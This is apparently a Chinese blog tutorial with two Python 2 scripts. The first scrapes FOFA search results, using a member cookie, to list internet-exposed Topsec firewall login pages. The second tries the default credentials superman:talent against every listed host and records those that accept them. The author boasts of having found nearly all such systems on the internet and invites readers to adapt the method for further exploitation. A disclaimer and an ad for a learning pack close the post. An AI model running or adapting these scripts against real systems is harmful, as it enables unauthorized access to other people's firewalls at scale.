前期准备
一:登录会员fofa账号,不是fofa会员的话只能查看五页内容,想要爬取所有符合特征的链接,就需要会员了,普通会员就可以了,这个就需要自行解决啦!登录之后我们获取当前登录账户的cookie值以做后面爬取链接时使用。
二:找到目标防火墙的特征url:"/cgi/maincgi.cgi",fofa搜索一些就可以找到相同的目标系统了,此时链接可以删除q参数,只要qbase64参数也是一样的,https://fofa.so/result?qbase64=Ii9jZ2kvbWFpbmNnaS5jZ2ki,我们需要的是qbase64参数:Ii9jZ2kvbWFpbmNnaS5jZ2ki
三:此时所有的链接都是天融信防火墙的后台登录页面了,可以看到有一个登录框,输入账号密码登录,我们输入默认的账号:密码→superman:talent,然后点击登录并抓包
前期工作已经准备好了,接下来就需要写脚本爬取需要测试的链接并且批量验证了,为了方便后期的更改,爬取和检测弱口令分成两个脚本。
脚本部分(分为链接爬取和批量检测)
脚本所需环境为python2
fofa链接爬取脚本
编码的问题真的很烦,各种报错,脚本输出都为英文,并且我们直接将需要用到的cookie,和qbase参数直接编辑到代码中,各位用的时候自行代码修改就可以了~
import requests from lxml import etree import re import time cookie = "1" qbase64 = "Ii9jZ2kvbWFpbmNnaS5jZ2ki" def spider(): header = { "Connection": "keep-alive", "Cookie": "_fofapro_ars_session=" + cookie, } print("spider website is :https://fofa.so/result?qbase64=" + qbase64) html = requests.get(url="https://fofa.so/result?qbase64=" + qbase64, headers=header).text pagenum = re.findall('>(\d*)</a> <a class="next_page" rel="next"', html) print("have page: " + pagenum[0]) stop_page = raw_input("please input stop page: \n") doc = open("url.txt", "a+") for i in range(1, int(pagenum[0])): print("Now write " + str(i) + " page") pageurl = requests.get('https://fofa.so/result?page=' + str(i) + '&qbase64=' + qbase64, headers=header) tree = etree.HTML(pageurl.text) urllist = tree.xpath('/html/body/div[@id="result"]/div[@class="main-result clearfix padTop90"]/div[@class="result-right-list"]/div[@class="result-right-list-view"]/div[@class="right-list-view-item clearfix"]/div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href') for j in urllist: doc.write(j + "\n") if i == int(stop_page): break time.sleep(10) doc.close() print("OK,Spider is End .") def main(): spider() if __name__ == '__main__': main()
在前期准备中我们已经获取了fofa登录用户的cookie,以及我们搜索的qbase64参数,修改上面代码中的cookie和qbase64的值,然后python 脚本名.py,输入要停止的页码后,等待运行结束,结束后同目录下的url.txt文件中就是所收集的目标系统url。运行截图如下。
批量检测脚本
import requests import time payload = { "username":"superman", "passwd":"talent", "loginSubmitIpt":'' } '''proxy='127.0.0.1:1080' proxies={ 'http':'http://' + proxy, 'https':'https://' + proxy }''' header={'Connection': 'close'} f = open("url.txt", "r") r = open("url_x.txt","w") lines = f.readlines() i=0 x=0 for line in lines: try: response = requests.post(line+"/cgi/maincgi.cgi?Url=Index",data = payload,headers = header,timeout=5,verify=False) except: continue else: i=i+1 print(str(i)) if "maincgi.cgi?Url=Main" in (response.text.replace(u'\xa9', u'')): r.write(line + "\n") x=x+1 print(str(i)+"is being detected") print("A vulnerability link has been detected" + str(x)) f.close() r.close()
如果不用try的话,有一个报错,如下图,百度了一下,网上的方法都没有解决,经过测试,部分链接会报异常,部分链接是没问题的,所以我们这里用try来忽略这些异常的请求,如果有师傅有解决方法的话,欢迎提出建议哦~
脚本运行后,会读取url.txt的链接进行逐条检测默认口令,并输出正在检测第几条,在检测到弱口令系统后会输出已经检测出的数量。
检测出的弱口令系统链接也会输出出来,并且会将存在弱口令的系统链接保存在url_x.txt中,如下图:
脚本在经历了亿小会儿的运行之后,结果也出来了,那么基本全网的天融信的默认口令系统也都在这里了,如下图:
思路呢就是这样的,本篇只是示例,批量爬取,批量检测,更多的利用方式我就不说啦,各位按照需求自行修改代码就可以啦,对于其他的系统和后台方法都是差不多的,缺点也还是有不少的,期待各位师傅们提出意见和建议~
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。